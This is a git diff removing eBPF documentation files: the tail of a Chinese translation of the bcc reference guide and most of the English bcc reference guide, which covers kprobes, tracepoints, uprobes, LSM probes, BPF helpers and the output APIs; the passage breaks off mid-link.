helpers](https://github.com/iovisor/bcc/blob/master/docs/kernel-versions.md#helpers) 是 GPL-only 的,并且哪些许可证被视为 GPL-compatible。 - -示例,从专有程序(`#define BPF_LICENSE Proprietary`)调用 `bpf_get_stackid()`,一种 GPL-only 的 BPF helper: - -```sh -bpf: 加载程序失败:无效参数 -[...] -8: (85) 调用 bpf_get_stackid#27 -无法从专有程序调用 GPL-only 函数 -``` - -# 环境变量 - -## 1. 内核源代码目录 - -eBPF 程序编译需要内核源代码或已编译的内核头。如果你的内核源代码位于无法被 BCC 找到的非标准位置,可以通过将 `BCC_KERNEL_SOURCE` 设置为该路径的绝对路径来为 BCC 提供所需的位置信息。 - -## 2. 内核版本覆盖 - -默认情况下,BCC 将 `LINUX_VERSION_CODE` 存储在生成的 eBPF 对象中,并在加载 eBPF 程序时传递给内核。有时,这可能非常不方便,尤其是当内核略有更新时,比如 LTS 内核发布。微小的不匹配几乎不会导致加载的 eBPF 程序出现任何问题。通过将 `BCC_LINUX_VERSION_CODE` 设置为正在运行的内核版本,可以绕过验证内核版本的检查。这对于程序是必需的。使用kprobes的程序需要以`(VERSION * 65536) + (PATCHLEVEL * 256) + SUBLEVEL`的格式进行编码。例如,如果当前运行的内核是`4.9.10`,则可以设置`export BCC_LINUX_VERSION_CODE=264458`以成功地覆盖内核版本检查。 diff --git a/src/bcc-documents/reference_guide_en.md b/src/bcc-documents/reference_guide_en.md deleted file mode 100644 index 8543a0c7..00000000 --- a/src/bcc-documents/reference_guide_en.md +++ /dev/null @@ -1,2609 +0,0 @@ -# bcc Reference Guide - -Intended for search (Ctrl-F) and reference. For tutorials, start with [tutorial.md](tutorial.md). - -This guide is incomplete. If something feels missing, check the bcc and kernel source. And if you confirm we're missing something, please send a pull request to fix it, and help out everyone. - -## Contents - -- [BPF C](#bpf-c) - - [Events & Arguments](#events--arguments) - - [1. kprobes](#1-kprobes) - - [2. kretprobes](#2-kretprobes) - - [3. Tracepoints](#3-tracepoints) - - [4. uprobes](#4-uprobes) - - [5. uretprobes](#5-uretprobes) - - [6. USDT probes](#6-usdt-probes) - - [7. Raw Tracepoints](#7-raw-tracepoints) - - [8. system call tracepoints](#8-system-call-tracepoints) - - [9. kfuncs](#9-kfuncs) - - [10. kretfuncs](#10-kretfuncs) - - [11. lsm probes](#11-lsm-probes) - - [12. bpf iterators](#12-bpf-iterators) - - [Data](#data) - - [1. bpf_probe_read_kernel()](#1-bpf_probe_read_kernel) - - [2. bpf_probe_read_kernel_str()](#2-bpf_probe_read_kernel_str) - - [3. bpf_ktime_get_ns()](#3-bpf_ktime_get_ns) - - [4. bpf_get_current_pid_tgid()](#4-bpf_get_current_pid_tgid) - - [5. bpf_get_current_uid_gid()](#5-bpf_get_current_uid_gid) - - [6. bpf_get_current_comm()](#6-bpf_get_current_comm) - - [7. bpf_get_current_task()](#7-bpf_get_current_task) - - [8. bpf_log2l()](#8-bpf_log2l) - - [9. bpf_get_prandom_u32()](#9-bpf_get_prandom_u32) - - [10. bpf_probe_read_user()](#10-bpf_probe_read_user) - - [11. bpf_probe_read_user_str()](#11-bpf_probe_read_user_str) - - [12. bpf_get_ns_current_pid_tgid()](#12-bpf_get_ns_current_pid_tgid) - - [Debugging](#debugging) - - [1. bpf_override_return()](#1-bpf_override_return) - - [Output](#output) - - [1. bpf_trace_printk()](#1-bpf_trace_printk) - - [2. BPF_PERF_OUTPUT](#2-bpf_perf_output) - - [3. perf_submit()](#3-perf_submit) - - [4. perf_submit_skb()](#4-perf_submit_skb) - - [5. BPF_RINGBUF_OUTPUT](#5-bpf_ringbuf_output) - - [6. ringbuf_output()](#6-ringbuf_output) - - [7. ringbuf_reserve()](#7-ringbuf_reserve) - - [8. ringbuf_submit()](#8-ringbuf_submit) - - [9. ringbuf_discard()](#9-ringbuf_discard) - - [Maps](#maps) - - [1. BPF_TABLE](#1-bpf_table) - - [2. BPF_HASH](#2-bpf_hash) - - [3. BPF_ARRAY](#3-bpf_array) - - [4. BPF_HISTOGRAM](#4-bpf_histogram) - - [5. BPF_STACK_TRACE](#5-bpf_stack_trace) - - [6. BPF_PERF_ARRAY](#6-bpf_perf_array) - - [7. BPF_PERCPU_HASH](#7-bpf_percpu_hash) - - [8. BPF_PERCPU_ARRAY](#8-bpf_percpu_array) - - [9. BPF_LPM_TRIE](#9-bpf_lpm_trie) - - [10. BPF_PROG_ARRAY](#10-bpf_prog_array) - - [11. BPF_DEVMAP](#11-bpf_devmap) - - [12. BPF_CPUMAP](#12-bpf_cpumap) - - [13. BPF_XSKMAP](#13-bpf_xskmap) - - [14. BPF_ARRAY_OF_MAPS](#14-bpf_array_of_maps) - - [15. BPF_HASH_OF_MAPS](#15-bpf_hash_of_maps) - - [16. BPF_STACK](#16-bpf_stack) - - [17. BPF_QUEUE](#17-bpf_queue) - - [18. BPF_SOCKHASH](#18-bpf_sockhash) - - [19. map.lookup()](#19-maplookup) - - [20. map.lookup_or_try_init()](#20-maplookup_or_try_init) - - [21. map.delete()](#21-mapdelete) - - [22. map.update()](#22-mapupdate) - - [23. map.insert()](#23-mapinsert) - - [24. map.increment()](#24-mapincrement) - - [25. map.get_stackid()](#25-mapget_stackid) - - [26. map.perf_read()](#26-mapperf_read) - - [27. map.call()](#27-mapcall) - - [28. map.redirect_map()](#28-mapredirect_map) - - [29. map.push()](#29-mappush) - - [30. map.pop()](#30-mappop) - - [31. map.peek()](#31-mappeek) - - [32. map.sock_hash_update()](#32-mapsock_hash_update) - - [33. map.msg_redirect_hash()](#33-mapmsg_redirect_hash) - - [34. map.sk_redirect_hash()](#34-mapsk_redirect_hash) - - [Licensing](#licensing) - - [Rewriter](#rewriter) - -- [bcc Python](#bcc-python) - - [Initialization](#initialization) - - [1. BPF](#1-bpf) - - [2. USDT](#2-usdt) - - [Events](#events) - - [1. attach_kprobe()](#1-attach_kprobe) - - [2. attach_kretprobe()](#2-attach_kretprobe) - - [3. attach_tracepoint()](#3-attach_tracepoint) - - [4. attach_uprobe()](#4-attach_uprobe) - - [5. attach_uretprobe()](#5-attach_uretprobe) - - [6. USDT.enable_probe()](#6-usdtenable_probe) - - [7. attach_raw_tracepoint()](#7-attach_raw_tracepoint) - - [8. attach_raw_socket()](#8-attach_raw_socket) - - [9. attach_xdp()](#9-attach_xdp) - - [10. attach_func()](#10-attach_func) - - [11. detach_func()](#11-detach_func) - - [12. detach_kprobe()](#12-detach_kprobe) - - [13. detach_kretprobe()](#13-detach_kretprobe) - - [Debug Output](#debug-output) - - [1. trace_print()](#1-trace_print) - - [2. trace_fields()](#2-trace_fields) - - [Output APIs](#output-apis) - - [1. perf_buffer_poll()](#1-perf_buffer_poll) - - [2. ring_buffer_poll()](#2-ring_buffer_poll) - - [3. ring_buffer_consume()](#3-ring_buffer_consume) - - [Map APIs](#map-apis) - - [1. get_table()](#1-get_table) - - [2. open_perf_buffer()](#2-open_perf_buffer) - - [3. items()](#3-items) - - [4. values()](#4-values) - - [5. clear()](#5-clear) - - [6. items_lookup_and_delete_batch()](#6-items_lookup_and_delete_batch) - - [7. items_lookup_batch()](#7-items_lookup_batch) - - [8. items_delete_batch()](#8-items_delete_batch) - - [9. items_update_batch()](#9-items_update_batch) - - [10. print_log2_hist()](#10-print_log2_hist) - - [11. print_linear_hist()](#11-print_linear_hist) - - [12. open_ring_buffer()](#12-open_ring_buffer) - - [13. push()](#13-push) - - [14. pop()](#14-pop) - - [15. peek()](#15-peek) - - [Helpers](#helpers) - - [1. ksym()](#1-ksym) - - [2. ksymname()](#2-ksymname) - - [3. sym()](#3-sym) - - [4. num_open_kprobes()](#4-num_open_kprobes) - - [5. get_syscall_fnname()](#5-get_syscall_fnname) - -- [BPF Errors](#bpf-errors) - - [1. Invalid mem access](#1-invalid-mem-access) - - [2. Cannot call GPL only function from proprietary program](#2-cannot-call-gpl-only-function-from-proprietary-program) - -- [Environment Variables](#Environment-Variables) - - [1. kernel source directory](#1-kernel-source-directory) - - [2. kernel version overriding](#2-kernel-version-overriding) - -# BPF C - -This section describes the C part of a bcc program. - -## Events & Arguments - -### 1. kprobes - -Syntax: kprobe__*kernel_function_name* - -```kprobe__``` is a special prefix that creates a kprobe (dynamic tracing of a kernel function call) for the kernel function name provided as the remainder. You can also use kprobes by declaring a normal C function, then using the Python ```BPF.attach_kprobe()``` (covered later) to associate it with a kernel function. - -Arguments are specified on the function declaration: kprobe__*kernel_function_name*(struct pt_regs *ctx [, *argument1* ...]) - -For example: - -```c -int kprobe__tcp_v4_connect(struct pt_regs *ctx, struct sock *sk) { - [...] -} -``` - -This instruments the tcp_v4_connect() kernel function using a kprobe, with the following arguments: - -- ```struct pt_regs *ctx```: Registers and BPF context. -- ```struct sock *sk```: First argument to tcp_v4_connect(). - -The first argument is always ```struct pt_regs *```, the remainder are the arguments to the function (they don't need to be specified, if you don't intend to use them). - -Examples in situ: -[code](https://github.com/iovisor/bcc/blob/4afa96a71c5dbfc4c507c3355e20baa6c184a3a8/examples/tracing/tcpv4connect.py#L28) ([output](https://github.com/iovisor/bcc/blob/5bd0eb21fd148927b078deb8ac29fff2fb044b66/examples/tracing/tcpv4connect_example.txt#L8)), -[code](https://github.com/iovisor/bcc/commit/310ab53710cfd46095c1f6b3e44f1dbc8d1a41d8#diff-8cd1822359ffee26e7469f991ce0ef00R26) ([output](https://github.com/iovisor/bcc/blob/3b9679a3bd9b922c736f6061dc65cb56de7e0250/examples/tracing/bitehist_example.txt#L6)) - - -### 2. kretprobes - -Syntax: kretprobe__*kernel_function_name* - -```kretprobe__``` is a special prefix that creates a kretprobe (dynamic tracing of a kernel function return) for the kernel function name provided as the remainder. You can also use kretprobes by declaring a normal C function, then using the Python ```BPF.attach_kretprobe()``` (covered later) to associate it with a kernel function. - -Return value is available as ```PT_REGS_RC(ctx)```, given a function declaration of: kretprobe__*kernel_function_name*(struct pt_regs *ctx) - -For example: - -```C -int kretprobe__tcp_v4_connect(struct pt_regs *ctx) -{ - int ret = PT_REGS_RC(ctx); - [...] -} -``` - -This instruments the return of the tcp_v4_connect() kernel function using a kretprobe, and stores the return value in ```ret```. - -Examples in situ: -[code](https://github.com/iovisor/bcc/blob/4afa96a71c5dbfc4c507c3355e20baa6c184a3a8/examples/tracing/tcpv4connect.py#L38) ([output](https://github.com/iovisor/bcc/blob/5bd0eb21fd148927b078deb8ac29fff2fb044b66/examples/tracing/tcpv4connect_example.txt#L8)) - -### 3. Tracepoints - -Syntax: TRACEPOINT_PROBE(*category*, *event*) - -This is a macro that instruments the tracepoint defined by *category*:*event*. - -The tracepoint name is `:`. -The probe function name is `tracepoint____`. - -Arguments are available in an ```args``` struct, which are the tracepoint arguments. One way to list these is to cat the relevant format file under /sys/kernel/debug/tracing/events/*category*/*event*/format. - -The ```args``` struct can be used in place of ``ctx`` in each functions requiring a context as an argument. This includes notably [perf_submit()](#3-perf_submit). - -For example: - -```C -TRACEPOINT_PROBE(random, urandom_read) { - // args is from /sys/kernel/debug/tracing/events/random/urandom_read/format - bpf_trace_printk("%d\\n", args->got_bits); - return 0; -} -``` - -This instruments the tracepoint `random:urandom_read tracepoint`, and prints the tracepoint argument ```got_bits```. -When using Python API, this probe is automatically attached to the right tracepoint target. -For C++, this tracepoint probe can be attached by specifying the tracepoint target and function name explicitly: -`BPF::attach_tracepoint("random:urandom_read", "tracepoint__random__urandom_read")` -Note the name of the probe function defined above is `tracepoint__random__urandom_read`. - -Examples in situ: -[code](https://github.com/iovisor/bcc/blob/a4159da8c4ea8a05a3c6e402451f530d6e5a8b41/examples/tracing/urandomread.py#L19) ([output](https://github.com/iovisor/bcc/commit/e422f5e50ecefb96579b6391a2ada7f6367b83c4#diff-41e5ecfae4a3b38de5f4e0887ed160e5R10)), -[search /examples](https://github.com/iovisor/bcc/search?q=TRACEPOINT_PROBE+path%3Aexamples&type=Code), -[search /tools](https://github.com/iovisor/bcc/search?q=TRACEPOINT_PROBE+path%3Atools&type=Code) - -### 4. uprobes - -These are instrumented by declaring a normal function in C, then associating it as a uprobe probe in Python via ```BPF.attach_uprobe()``` (covered later). - -Arguments can be examined using ```PT_REGS_PARM``` macros. - -For example: - -```C -int count(struct pt_regs *ctx) { - char buf[64]; - bpf_probe_read_user(&buf, sizeof(buf), (void *)PT_REGS_PARM1(ctx)); - bpf_trace_printk("%s %d", buf, PT_REGS_PARM2(ctx)); - return(0); -} -``` - -This reads the first argument as a string, and then prints it with the second argument as an integer. - -Examples in situ: -[code](https://github.com/iovisor/bcc/blob/4afa96a71c5dbfc4c507c3355e20baa6c184a3a8/examples/tracing/strlen_count.py#L26) - -### 5. uretprobes - -These are instrumented by declaring a normal function in C, then associating it as a uretprobe probe in Python via ```BPF.attach_uretprobe()``` (covered later). - -Return value is available as ```PT_REGS_RC(ctx)```, given a function declaration of: *function_name*(struct pt_regs *ctx) - -For example: - -```C -BPF_HISTOGRAM(dist); -int count(struct pt_regs *ctx) { - dist.increment(PT_REGS_RC(ctx)); - return 0; -} -``` - -This increments the bucket in the ```dist``` histogram that is indexed by the return value. - -Examples in situ: -[code](https://github.com/iovisor/bcc/blob/4afa96a71c5dbfc4c507c3355e20baa6c184a3a8/examples/tracing/strlen_hist.py#L39) ([output](https://github.com/iovisor/bcc/blob/4afa96a71c5dbfc4c507c3355e20baa6c184a3a8/examples/tracing/strlen_hist.py#L15)), -[code](https://github.com/iovisor/bcc/blob/4afa96a71c5dbfc4c507c3355e20baa6c184a3a8/tools/bashreadline.py) ([output](https://github.com/iovisor/bcc/commit/aa87997d21e5c1a6a20e2c96dd25eb92adc8e85d#diff-2fd162f9e594206f789246ce97d62cf0R7)) - -### 6. USDT probes - -These are User Statically-Defined Tracing (USDT) probes, which may be placed in some applications or libraries to provide a user-level equivalent of tracepoints. The primary BPF method provided for USDT support method is ```enable_probe()```. USDT probes are instrumented by declaring a normal function in C, then associating it as a USDT probe in Python via ```USDT.enable_probe()```. - -Arguments can be read via: bpf_usdt_readarg(*index*, ctx, &addr) - -For example: - -```C -int do_trace(struct pt_regs *ctx) { - uint64_t addr; - char path[128]; - bpf_usdt_readarg(6, ctx, &addr); - bpf_probe_read_user(&path, sizeof(path), (void *)addr); - bpf_trace_printk("path:%s\\n", path); - return 0; -}; -``` - -This reads the sixth USDT argument, and then pulls it in as a string to ```path```. - -When initializing USDTs via the third argument of ```BPF::init``` in the C API, if any USDT fails to ```init```, entire ```BPF::init``` will fail. If you're OK with some USDTs failing to ```init```, use ```BPF::init_usdt``` before calling ```BPF::init```. - -Examples in situ: -[code](https://github.com/iovisor/bcc/commit/4f88a9401357d7b75e917abd994aa6ea97dda4d3#diff-04a7cad583be5646080970344c48c1f4R24), -[search /examples](https://github.com/iovisor/bcc/search?q=bpf_usdt_readarg+path%3Aexamples&type=Code), -[search /tools](https://github.com/iovisor/bcc/search?q=bpf_usdt_readarg+path%3Atools&type=Code) - -### 7. Raw Tracepoints - -Syntax: RAW_TRACEPOINT_PROBE(*event*) - -This is a macro that instruments the raw tracepoint defined by *event*. - -The argument is a pointer to struct ```bpf_raw_tracepoint_args```, which is defined in [bpf.h](https://github.com/iovisor/bcc/blob/master/src/cc/compat/linux/virtual_bpf.h). The struct field ```args``` contains all parameters of the raw tracepoint where you can found at linux tree [include/trace/events](https://github.com/torvalds/linux/tree/master/include/trace/events) -directory. - -For example: -```C -RAW_TRACEPOINT_PROBE(sched_switch) -{ - // TP_PROTO(bool preempt, struct task_struct *prev, struct task_struct *next) - struct task_struct *prev = (struct task_struct *)ctx->args[1]; - struct task_struct *next= (struct task_struct *)ctx->args[2]; - s32 prev_tgid, next_tgid; - - bpf_probe_read_kernel(&prev_tgid, sizeof(prev->tgid), &prev->tgid); - bpf_probe_read_kernel(&next_tgid, sizeof(next->tgid), &next->tgid); - bpf_trace_printk("%d -> %d\\n", prev_tgid, next_tgid); -} -``` - -This instruments the sched:sched_switch tracepoint, and prints the prev and next tgid. - -Examples in situ: -[search /tools](https://github.com/iovisor/bcc/search?q=RAW_TRACEPOINT_PROBE+path%3Atools&type=Code) - -### 8. system call tracepoints - -Syntax: ```syscall__SYSCALLNAME``` - -```syscall__``` is a special prefix that creates a kprobe for the system call name provided as the remainder. You can use it by declaring a normal C function, then using the Python ```BPF.get_syscall_fnname(SYSCALLNAME)``` and ```BPF.attach_kprobe()``` to associate it. - -Arguments are specified on the function declaration: ```syscall__SYSCALLNAME(struct pt_regs *ctx, [, argument1 ...])```. - -For example: -```C -int syscall__execve(struct pt_regs *ctx, - const char __user *filename, - const char __user *const __user *__argv, - const char __user *const __user *__envp) -{ - [...] -} -``` - -This instruments the execve system call. - -The first argument is always ```struct pt_regs *```, the remainder are the arguments to the function (they don't need to be specified, if you don't intend to use them). - -Corresponding Python code: -```Python -b = BPF(text=bpf_text) -execve_fnname = b.get_syscall_fnname("execve") -b.attach_kprobe(event=execve_fnname, fn_name="syscall__execve") -``` - -Examples in situ: -[code](https://github.com/iovisor/bcc/blob/552658edda09298afdccc8a4b5e17311a2d8a771/tools/execsnoop.py#L101) ([output](https://github.com/iovisor/bcc/blob/552658edda09298afdccc8a4b5e17311a2d8a771/tools/execsnoop_example.txt#L8)) - -### 9. kfuncs - -Syntax: KFUNC_PROBE(*function*, typeof(arg1) arg1, typeof(arg2) arge ...) - -This is a macro that instruments the kernel function via trampoline -*before* the function is executed. It's defined by *function* name and -the function arguments defined as *argX*. - -For example: -```C -KFUNC_PROBE(do_sys_open, int dfd, const char *filename, int flags, int mode) -{ - ... -``` - -This instruments the do_sys_open kernel function and make its arguments -accessible as standard argument values. - -Examples in situ: -[search /tools](https://github.com/iovisor/bcc/search?q=KFUNC_PROBE+path%3Atools&type=Code) - -### 10. kretfuncs - -Syntax: KRETFUNC_PROBE(*event*, typeof(arg1) arg1, typeof(arg2) arge ..., int ret) - -This is a macro that instruments the kernel function via trampoline -*after* the function is executed. It's defined by *function* name and -the function arguments defined as *argX*. - -The last argument of the probe is the return value of the instrumented function. - -For example: -```C -KRETFUNC_PROBE(do_sys_open, int dfd, const char *filename, int flags, int mode, int ret) -{ - ... -``` - -This instruments the do_sys_open kernel function and make its arguments -accessible as standard argument values together with its return value. - -Examples in situ: -[search /tools](https://github.com/iovisor/bcc/search?q=KRETFUNC_PROBE+path%3Atools&type=Code) - - -### 11. LSM Probes - -Syntax: LSM_PROBE(*hook*, typeof(arg1) arg1, typeof(arg2) arg2 ...) - -This is a macro that instruments an LSM hook as a BPF program. It can be -used to audit security events and implement MAC security policies in BPF. -It is defined by specifying the hook name followed by its arguments. - -Hook names can be found in -[include/linux/security.h](https://github.com/torvalds/linux/blob/v5.15/include/linux/security.h#L260) -by taking functions like `security_hookname` and taking just the `hookname` part. -For example, `security_bpf` would simply become `bpf`. - -Unlike other BPF program types, the return value specified in an LSM probe -matters. A return value of 0 allows the hook to succeed, whereas -any non-zero return value will cause the hook to fail and deny the -security operation. - -The following example instruments a hook that denies all future BPF operations: -```C -LSM_PROBE(bpf, int cmd, union bpf_attr *attr, unsigned int size) -{ - return -EPERM; -} -``` - -This instruments the `security_bpf` hook and causes it to return `-EPERM`. -Changing `return -EPERM` to `return 0` would cause the BPF program -to allow the operation instead. - -LSM probes require at least a 5.7+ kernel with the following configuation options set: -- `CONFIG_BPF_LSM=y` -- `CONFIG_LSM` comma separated string must contain "bpf" (for example, - `CONFIG_LSM="lockdown,yama,bpf"`) - -Examples in situ: -[search /tests](https://github.com/iovisor/bcc/search?q=LSM_PROBE+path%3Atests&type=Code) - -### 12. BPF ITERATORS - -Syntax: BPF_ITER(target) - -This is a macro to define a program signature for a bpf iterator program. The argument *target* specifies what to iterate for the program. - -Currently, kernel does not have interface to discover what targets are supported. A good place to find what is supported is in [tools/testing/selftests/bpf/prog_test/bpf_iter.c](https://github.com/torvalds/linux/blob/master/tools/testing/selftests/bpf/prog_tests/bpf_iter.c) and some sample bpf iter programs are in [tools/testing/selftests/bpf/progs](https://github.com/torvalds/linux/tree/master/tools/testing/selftests/bpf/progs) with file name prefix *bpf_iter*. - -The following example defines a program for target *task*, which traverses all tasks in the kernel. -```C -BPF_ITER(task) -{ - struct seq_file *seq = ctx->meta->seq; - struct task_struct *task = ctx->task; - - if (task == (void *)0) - return 0; - - ... task->pid, task->tgid, task->comm, ... - return 0; -} -``` - -BPF iterators are introduced in 5.8 kernel for task, task_file, bpf_map, netlink_sock and ipv6_route . In 5.9, support is added to tcp/udp sockets and bpf map element (hashmap, arraymap and sk_local_storage_map) traversal. - -## Data - -### 1. bpf_probe_read_kernel() - -Syntax: ```int bpf_probe_read_kernel(void *dst, int size, const void *src)``` - -Return: 0 on success - -This copies size bytes from kernel address space to the BPF stack, so that BPF can later operate on it. For safety, all kernel memory reads must pass through bpf_probe_read_kernel(). This happens automatically in some cases, such as dereferencing kernel variables, as bcc will rewrite the BPF program to include the necessary bpf_probe_read_kernel(). - -Examples in situ: -[search /examples](https://github.com/iovisor/bcc/search?q=bpf_probe_read_kernel+path%3Aexamples&type=Code), -[search /tools](https://github.com/iovisor/bcc/search?q=bpf_probe_read_kernel+path%3Atools&type=Code) - -### 2. bpf_probe_read_kernel_str() - -Syntax: ```int bpf_probe_read_kernel_str(void *dst, int size, const void *src)``` - -Return: - - \> 0 length of the string including the trailing NULL on success - - \< 0 error - -This copies a `NULL` terminated string from kernel address space to the BPF stack, so that BPF can later operate on it. In case the string length is smaller than size, the target is not padded with further `NULL` bytes. In case the string length is larger than size, just `size - 1` bytes are copied and the last byte is set to `NULL`. - -Examples in situ: -[search /examples](https://github.com/iovisor/bcc/search?q=bpf_probe_read_kernel_str+path%3Aexamples&type=Code), -[search /tools](https://github.com/iovisor/bcc/search?q=bpf_probe_read_kernel_str+path%3Atools&type=Code) - -### 3. bpf_ktime_get_ns() - -Syntax: ```u64 bpf_ktime_get_ns(void)``` - -Return: u64 number of nanoseconds. Starts at system boot time but stops during suspend. - -Examples in situ: -[search /examples](https://github.com/iovisor/bcc/search?q=bpf_ktime_get_ns+path%3Aexamples&type=Code), -[search /tools](https://github.com/iovisor/bcc/search?q=bpf_ktime_get_ns+path%3Atools&type=Code) - -### 4. bpf_get_current_pid_tgid() - -Syntax: ```u64 bpf_get_current_pid_tgid(void)``` - -Return: ```current->tgid << 32 | current->pid``` - -Returns the process ID in the lower 32 bits (kernel's view of the PID, which in user space is usually presented as the thread ID), and the thread group ID in the upper 32 bits (what user space often thinks of as the PID). By directly setting this to a u32, we discard the upper 32 bits. - -Examples in situ: -[search /examples](https://github.com/iovisor/bcc/search?q=bpf_get_current_pid_tgid+path%3Aexamples&type=Code), -[search /tools](https://github.com/iovisor/bcc/search?q=bpf_get_current_pid_tgid+path%3Atools&type=Code) - -### 5. bpf_get_current_uid_gid() - -Syntax: ```u64 bpf_get_current_uid_gid(void)``` - -Return: ```current_gid << 32 | current_uid``` - -Returns the user ID and group IDs. - -Examples in situ: -[search /examples](https://github.com/iovisor/bcc/search?q=bpf_get_current_uid_gid+path%3Aexamples&type=Code), -[search /tools](https://github.com/iovisor/bcc/search?q=bpf_get_current_uid_gid+path%3Atools&type=Code) - -### 6. bpf_get_current_comm() - -Syntax: ```bpf_get_current_comm(char *buf, int size_of_buf)``` - -Return: 0 on success - -Populates the first argument address with the current process name. It should be a pointer to a char array of at least size TASK_COMM_LEN, which is defined in linux/sched.h. For example: - -```C -#include - -int do_trace(struct pt_regs *ctx) { - char comm[TASK_COMM_LEN]; - bpf_get_current_comm(&comm, sizeof(comm)); -[...] -``` - -Examples in situ: -[search /examples](https://github.com/iovisor/bcc/search?q=bpf_get_current_comm+path%3Aexamples&type=Code), -[search /tools](https://github.com/iovisor/bcc/search?q=bpf_get_current_comm+path%3Atools&type=Code) - -### 7. bpf_get_current_task() - -Syntax: ```bpf_get_current_task()``` - -Return: current task as a pointer to struct task_struct. - -Returns a pointer to the current task's task_struct object. This helper can be used to compute the on-CPU time for a process, identify kernel threads, get the current CPU's run queue, or retrieve many other pieces of information. - -With Linux 4.13, due to issues with field randomization, you may need two #define directives before the includes: -```C -#define randomized_struct_fields_start struct { -#define randomized_struct_fields_end }; -#include - -int do_trace(void *ctx) { - struct task_struct *t = (struct task_struct *)bpf_get_current_task(); -[...] -``` - -Examples in situ: -[search /examples](https://github.com/iovisor/bcc/search?q=bpf_get_current_task+path%3Aexamples&type=Code), -[search /tools](https://github.com/iovisor/bcc/search?q=bpf_get_current_task+path%3Atools&type=Code) - -### 8. bpf_log2l() - -Syntax: ```unsigned int bpf_log2l(unsigned long v)``` - -Returns the log-2 of the provided value. This is often used to create indexes for histograms, to construct power-of-2 histograms. - -Examples in situ: -[search /examples](https://github.com/iovisor/bcc/search?q=bpf_log2l+path%3Aexamples&type=Code), -[search /tools](https://github.com/iovisor/bcc/search?q=bpf_log2l+path%3Atools&type=Code) - -### 9. bpf_get_prandom_u32() - -Syntax: ```u32 bpf_get_prandom_u32()``` - -Returns a pseudo-random u32. - -Example in situ: -[search /examples](https://github.com/iovisor/bcc/search?q=bpf_get_prandom_u32+path%3Aexamples&type=Code), -[search /tools](https://github.com/iovisor/bcc/search?q=bpf_get_prandom_u32+path%3Atools&type=Code) - -### 10. bpf_probe_read_user() - -Syntax: ```int bpf_probe_read_user(void *dst, int size, const void *src)``` - -Return: 0 on success - -This attempts to safely read size bytes from user address space to the BPF stack, so that BPF can later operate on it. For safety, all user address space memory reads must pass through bpf_probe_read_user(). - -Examples in situ: -[search /examples](https://github.com/iovisor/bcc/search?q=bpf_probe_read_user+path%3Aexamples&type=Code), -[search /tools](https://github.com/iovisor/bcc/search?q=bpf_probe_read_user+path%3Atools&type=Code) - -### 11. bpf_probe_read_user_str() - -Syntax: ```int bpf_probe_read_user_str(void *dst, int size, const void *src)``` - -Return: - - \> 0 length of the string including the trailing NULL on success - - \< 0 error - -This copies a `NULL` terminated string from user address space to the BPF stack, so that BPF can later operate on it. In case the string length is smaller than size, the target is not padded with further `NULL` bytes. In case the string length is larger than size, just `size - 1` bytes are copied and the last byte is set to `NULL`. - -Examples in situ: -[search /examples](https://github.com/iovisor/bcc/search?q=bpf_probe_read_user_str+path%3Aexamples&type=Code), -[search /tools](https://github.com/iovisor/bcc/search?q=bpf_probe_read_user_str+path%3Atools&type=Code) - - -### 12. bpf_get_ns_current_pid_tgid() - -Syntax: ```u32 bpf_get_ns_current_pid_tgid(u64 dev, u64 ino, struct bpf_pidns_info* nsdata, u32 size)``` - -Values for *pid* and *tgid* as seen from the current *namespace* will be returned in *nsdata*. - -Return 0 on success, or one of the following in case of failure: - -- **-EINVAL** if dev and inum supplied don't match dev_t and inode number with nsfs of current task, or if dev conversion to dev_t lost high bits. - -- **-ENOENT** if pidns does not exists for the current task. - -Examples in situ: -[search /examples](https://github.com/iovisor/bcc/search?q=bpf_get_ns_current_pid_tgid+path%3Aexamples&type=Code), -[search /tools](https://github.com/iovisor/bcc/search?q=bpf_get_ns_current_pid_tgid+path%3Atools&type=Code) - - -## Debugging - -### 1. bpf_override_return() - -Syntax: ```int bpf_override_return(struct pt_regs *, unsigned long rc)``` - -Return: 0 on success - -When used in a program attached to a function entry kprobe, causes the -execution of the function to be skipped, immediately returning `rc` instead. -This is used for targeted error injection. - -bpf_override_return will only work when the kprobed function is whitelisted to -allow error injections. Whitelisting entails tagging a function with -`ALLOW_ERROR_INJECTION()` in the kernel source tree; see `io_ctl_init` for -an example. If the kprobed function is not whitelisted, the bpf program will -fail to attach with ` ioctl(PERF_EVENT_IOC_SET_BPF): Invalid argument` - - -```C -int kprobe__io_ctl_init(void *ctx) { - bpf_override_return(ctx, -ENOMEM); - return 0; -} -``` - -## Output - -### 1. bpf_trace_printk() - -Syntax: ```int bpf_trace_printk(const char *fmt, ...)``` - -Return: 0 on success - -A simple kernel facility for printf() to the common trace_pipe (/sys/kernel/debug/tracing/trace_pipe). This is ok for some quick examples, but has limitations: 3 args max, 1 %s only, and trace_pipe is globally shared, so concurrent programs will have clashing output. A better interface is via BPF_PERF_OUTPUT(). Note that calling this helper is made simpler than the original kernel version, which has ```fmt_size``` as the second parameter. - -Examples in situ: -[search /examples](https://github.com/iovisor/bcc/search?q=bpf_trace_printk+path%3Aexamples&type=Code), -[search /tools](https://github.com/iovisor/bcc/search?q=bpf_trace_printk+path%3Atools&type=Code) - -### 2. BPF_PERF_OUTPUT - -Syntax: ```BPF_PERF_OUTPUT(name)``` - -Creates a BPF table for pushing out custom event data to user space via a perf ring buffer. This is the preferred method for pushing per-event data to user space. - -For example: - -```C -struct data_t { - u32 pid; - u64 ts; - char comm[TASK_COMM_LEN]; -}; -BPF_PERF_OUTPUT(events); - -int hello(struct pt_regs *ctx) { - struct data_t data = {}; - - data.pid = bpf_get_current_pid_tgid(); - data.ts = bpf_ktime_get_ns(); - bpf_get_current_comm(&data.comm, sizeof(data.comm)); - - events.perf_submit(ctx, &data, sizeof(data)); - - return 0; -} -``` - -The output table is named ```events```, and data is pushed to it via ```events.perf_submit()```. - -Examples in situ: -[search /examples](https://github.com/iovisor/bcc/search?q=BPF_PERF_OUTPUT+path%3Aexamples&type=Code), -[search /tools](https://github.com/iovisor/bcc/search?q=BPF_PERF_OUTPUT+path%3Atools&type=Code) - -### 3. perf_submit() - -Syntax: ```int perf_submit((void *)ctx, (void *)data, u32 data_size)``` - -Return: 0 on success - -A method of a BPF_PERF_OUTPUT table, for submitting custom event data to user space. See the BPF_PERF_OUTPUT entry. (This ultimately calls bpf_perf_event_output().) - -The ```ctx``` parameter is provided in [kprobes](#1-kprobes) or [kretprobes](#2-kretprobes). For ```SCHED_CLS``` or ```SOCKET_FILTER``` programs, the ```struct __sk_buff *skb``` must be used instead. - -Examples in situ: -[search /examples](https://github.com/iovisor/bcc/search?q=perf_submit+path%3Aexamples&type=Code), -[search 